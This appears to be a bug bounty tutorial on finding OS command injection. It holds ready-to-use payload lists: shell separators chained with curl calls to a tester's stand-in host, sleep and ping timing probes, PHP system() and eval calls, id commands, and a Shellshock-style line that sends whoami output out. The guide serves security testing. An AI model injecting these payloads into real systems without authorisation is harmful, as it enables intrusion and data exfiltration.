Other vulnerability types

Learning about Command Injection


Command Injection is one of the highest-paying bug classes on bug bounty programs and for very good reason as sometimes it can enable an attacker full control of the target system and allows them to code directly on these systems. Believe it or not but command Injection is actually very easy to test for as well as the parameters are infront of you, it's just a simple case of testing!

When testing for command injection always make sure to respect a companys vulnerability disclosure policy on what commands they'd prefer you to try. Some companies don't want you browsing files you shouldn't or accidentally breaking their website, so make sure to not only read this policy carefully but to stick to the rules.

A really good writeup on understanding Command Injections can be found here from Jobert: https://www.hackerone.com/blog/how-to-command-injections

Finding Code Injections

Honestly, you can literally test every single parameter you find for command injection. Bug bounty programs are usually blackbox testing meaning you have no idea what the code is doing behind the scenes as it isn't open source. So with that in mind, and with viewing some common payloads, where can you go wrong with testing each parameter? If you have no idea what the parameter is doing you can find out by testing.

| curl https://www.yoursite.com/
& curl https://www.yoursite.com/
; curl https://www.yoursite.com/
&& curl https://www.yoursite.com/

So imagine you have the following request along with the view parameter, https://www.example.com/help.php?view=faq and injecting | curl https://www.yoursite.com/ may send a request to your server. https://www.example.com/help.php?view=faq|curl https://www.mysite.com/. If yes, you have command injection. Don't forget that you can try these parameters on header values as well!

For a full payload list and more information check out the useful payload list as well as https://github.com/payloadbox/command-injection-payload-list

Common Problems

You may be thinking "i'll go spray command injection payloads everywhere!" and yes it may actually work in some places, but you may find when testing for command injection that your payloads are filtered/blocked. I would always recommend testing with a sleep or ping command as these are sometimes 'forgotten' about and slip through.

%20{${sleep(3)}}
exec('sleep 5')
eval('sleep 5')
| sleep 1
|| sleep 15
&& sleep 10
|| system('sleep 5');
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a

A really good writeup of how to use Burp to test for command injection can be found here: https://support.portswigger.net/customer/portal/articles/2590661-using-burp-to-test-for-os-command-injection-vulnerabilities

| sleep 1
; sleep 1
& sleep 1
&& sleep 1
sleep 1
|| sleep 10
| sleep 10
; sleep 10
{${sleep(10)}}
& sleep 10 
&& sleep 10
sleep 10
|| sleep 15
| sleep 15
; sleep 15
& sleep 15 
&& sleep 15
 {${sleep(20)}}
{${sleep(20)}}
 {${sleep(3)}}
{${sleep(3)}}
| sleep 5
; sleep 5
& sleep 5
&& sleep 5
sleep 5
 {${sleep(hexdec(dechex(20)))}} 
{${sleep(hexdec(dechex(20)))}} 
|| system('curl https://www.yoursite.com/');
| system('curl https://www.yoursite.com/');
; system('curl https://www.yoursite.com/');
& system('curl https://www.yoursite.com/');
&& system('curl https://www.yoursite.com/');
system('curl https://www.yoursite.com/')
system('curl https://www.yoursite.com/')
system('curl https://www.yoursite.com/');
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
() { :;}; /bin/bash -c "curl http://www.yoursite.com/?c=\`whoami\`"